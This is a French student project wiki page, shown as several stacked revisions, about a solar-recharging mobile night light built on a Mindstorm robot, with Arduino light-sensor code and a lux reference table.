Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| activité ...
|-
! scope="row" | Séance 4 (17/01/2018)
| activité ...
|-
! scope="row" | Séance 5 (22/01/2018)
| activité ...
|-
! scope="row" | Séance 6 (24/01/2018)
| activité ...
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands

https://www.npmjs.com/package/bluetoothctl

https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065

https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018

==Détail du travail de la quatrième séance==
Réalisation carte.

==Détail du travail de la cinquième séance==
Encore des essaies bluetooth et code mindstorm indépendant.

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-23T14:43:30Z

Bhagui : /* Détail du travail de la quatrième séance */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| activité ...
|-
! scope="row" | Séance 4 (17/01/2018)
| activité ...
|-
! scope="row" | Séance 5 (22/01/2018)
| activité ...
|-
! scope="row" | Séance 6 (24/01/2018)
| activité ...
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands

https://www.npmjs.com/package/bluetoothctl

https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065

https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018

==Détail du travail de la quatrième séance==
Réalisation carte.

==Détail du travail de la cinquième séance==

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-16T10:53:49Z

Bhagui : /* Détail du travail de la troisième séance */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| activité ...
|-
! scope="row" | Séance 4 (17/01/2018)
| activité ...
|-
! scope="row" | Séance 5 (22/01/2018)
| activité ...
|-
! scope="row" | Séance 6 (24/01/2018)
| activité ...
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands

https://www.npmjs.com/package/bluetoothctl

https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065

https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018

==Détail du travail de la quatrième séance==

==Détail du travail de la cinquième séance==

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-13T21:37:07Z

Bhagui : /* Suivi de réalisation */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| activité ...
|-
! scope="row" | Séance 4 (17/01/2018)
| activité ...
|-
! scope="row" | Séance 5 (22/01/2018)
| activité ...
|-
! scope="row" | Séance 6 (24/01/2018)
| activité ...
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==

==Détail du travail de la quatrième séance==

==Détail du travail de la cinquième séance==

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-13T21:36:26Z

Bhagui : /* Détail du travail de la deuxième séance */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* Capteur de lumière
* Arduino Uno

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| - Formation des groupes, chercher un sujet et faire valider ce-dernier.
|-
! scope="row" | Séance 2 (09/01/2018)
| Code d'utilisation du capteur lumière et initiation au Mindstorm.
|-
! scope="row" | Séance 3 (16/01/2018)
| activité ...
|-
! scope="row" | Séance 4 (17/01/2018)
| activité ...
|-
! scope="row" | Séance 5 (22/01/2018)
| activité ...
|-
! scope="row" | Séance 6 (24/01/2018)
| activité ...
|}

==Détail du travail de la première séance==

Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:

{| class="wikitable alternance centre"
|-
! scope="row" | Illuminance
| Example
|-
! scope="row" | 0.002 lux
| Moonless clear night sky
|-
! scope="row" | 0.27 - 1 lux
| Full moon on a clear night
|-
! scope="row" | 3.4 lux
| Dark limit of civil twilight under a clear sky
|-
! scope="row" | 50 lux
| Family living room
|-
! scope="row" | 80 lux
| Hallway/toilet
|-
! scope="row" | 100 lux
| Very dark overcast day
|-
! scope="row" | 300 - 500 lux
| Sunrise or sunset on a clear day. Well-lit office area
|-
! scope="row" | 1,000 lux
| Overcast day; typical TV studio lighting
|-
! scope="row" | 10,000 - 25,000 lux
| Full daylight (not direct sun)
|-
! scope="row" | 32,000 - 130,000 lux
| Direct sunlight
|-
|}

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==

Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.

==Détail du travail de la troisième séance==

==Détail du travail de la quatrième séance==

==Détail du travail de la cinquième séance==

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-13T21:11:49Z

Bhagui : /* Détail du travail de la première séance */

P4 IOT 2017

2018-01-13T21:02:54Z

Bhagui :

P4 IOT 2017

2018-01-13T20:58:36Z

Bhagui :

P4 IOT 2017

2018-01-10T12:14:49Z

Bhagui : /* Présentation du sujet */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce (une ligne droite entre deux murs ou deux obstacles) pour recharger sa batterie grâce à un panneau solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things).

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur lequel sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de détecter l'endroit le plus lumineux. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* capteur de lumière

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| activité : - Formation des groupes
- Chercher un sujet
- Le faire valider
|-
! scope="row" | Séance 2 (09/01/2018)
| activité ...
|-
! scope="row" | Séance 3 (16/01/2018)
| activité ...
|-
! scope="row" | Séance 4 (17/01/2018)
| activité ...
|-
! scope="row" | Séance 5 (22/01/2018)
| activité ...
|-
! scope="row" | Séance 6 (24/01/2018)
| activité ...
|}

==Détail du travail de la première séance==

Code pour le capteur de luminosité:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
Serial.println("Adafruit Analog Light Sensor Test");
}

void loop()
{
// read the raw value from the sensor:
int rawValue = analogRead(sensorPin);

Serial.print("Raw = ");
Serial.print(rawValue);
Serial.print(" - Lux = ");
Serial.println(RawToLux(rawValue));
delay(1000);
}

float RawToLux(int raw)
{
float logLux = raw * logRange / rawRange;
return pow(10, logLux);
}

</pre>

Les valeurs en retour:

Illuminance Example
0.002 lux Moonless clear night sky
0.2 lux Design minimum for emergency lighting (AS2293).
0.27 - 1 lux Full moon on a clear night
3.4 lux Dark limit of civil twilight under a clear sky
50 lux Family living room
80 lux Hallway/toilet
100 lux Very dark overcast day
300 - 500 lux Sunrise or sunset on a clear day. Well-lit office area.
1,000 lux Overcast day; typical TV studio lighting
10,000 - 25,000 lux Full daylight (not direct sun)
32,000 - 130,000 lux Direct sunlight

https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

http://www.instructables.com/id/Solar-Battery-Charging/

==Détail du travail de la deuxième séance==
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it

<pre>

int sensorPin = A0, rawValue, maxValue=0, marge = 50;
boolean firstSearch = false, searchAgain = false, keepMoving;

void setup()
{
analogReference(EXTERNAL);
Serial.begin(9600);
}

void loop()
{
while (firstSearch == false || searchAgain == true)
{
rawValue = analogRead(sensorPin);
if (rawValue > maxValue)
{
maxValue = rawValue;
}
searchAgain = false, firstSearch = true;
}

Serial.println("PAUSE");
//3seconds
delay(3000);
Serial.println("WERE BACK");

do
{
rawValue = analogRead(sensorPin);
if (rawValue < maxValue - marge)
{
keepMoving = true;
}
else
{
keepMoving = false;
}
Serial.println(keepMoving);
} while (keepMoving == true);

//delay(6000);
searchAgain = true;
}

</pre>

==Détail du travail de la troisième séance==

==Détail du travail de la quatrième séance==

==Détail du travail de la cinquième séance==

==Détail du travail de la sixième séance==

=Rendu=

==Poster==
Version électronique du poster :
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]

==Fichiers rendus==

Notre application : [[Media:2017_IOT_P0_application.zip]]

P4 IOT 2017

2018-01-09T18:05:51Z

Bhagui : /* Détail du travail de la deuxième séance */

=Présentation du sujet =

Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce pour pouvoir charger sa batterie grâce à un chargeur solaire.

==Contexte==

Ce projet est réalisé dans le cadre du module transversale IOT.

==Description du projet==

Nous allons utiliser un Mindstorm pour la plateforme mobile sur lequel sera monté des panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de détecter l'endroit le plus lumineux. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux de récupérer de l'énergie et la transmettre à...

=Réalisation=

==Matériel utilisé==

* Mindstorm
* Panneau photovoltaïque
* capteur de lumière

==Suivi de réalisation==
{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (08/01/2018)
| activité : - Formation des groupes
- Chercher un sujet
- Le faire valider
|-
! scope="row" | Séance 2 (09/01/2018)
| activité ...
|-
! scope="row" | Séance 3 (16/01/2018)
| activité ...
|-
! scope="row" | Séance 4 (17/01/2018)
| activité ...
|-
! scope="row" | Séance 5 (22/01/2018)
| activité ...
|-
! scope="row" | Séance 6 (24/01/2018)
| activité ...
|}

==Détail du travail de la première séance==

Code pour le capteur de luminosité:

<pre>

int sensorPin = A0; // select the input pin for the potentiometer

float rawRange = 1024; // 3.3v
float logRange = 5.0; // 3.3v = 10^5 lux

void setup()
{
analogReference(EXTERNAL); //
Serial.begin(9600);
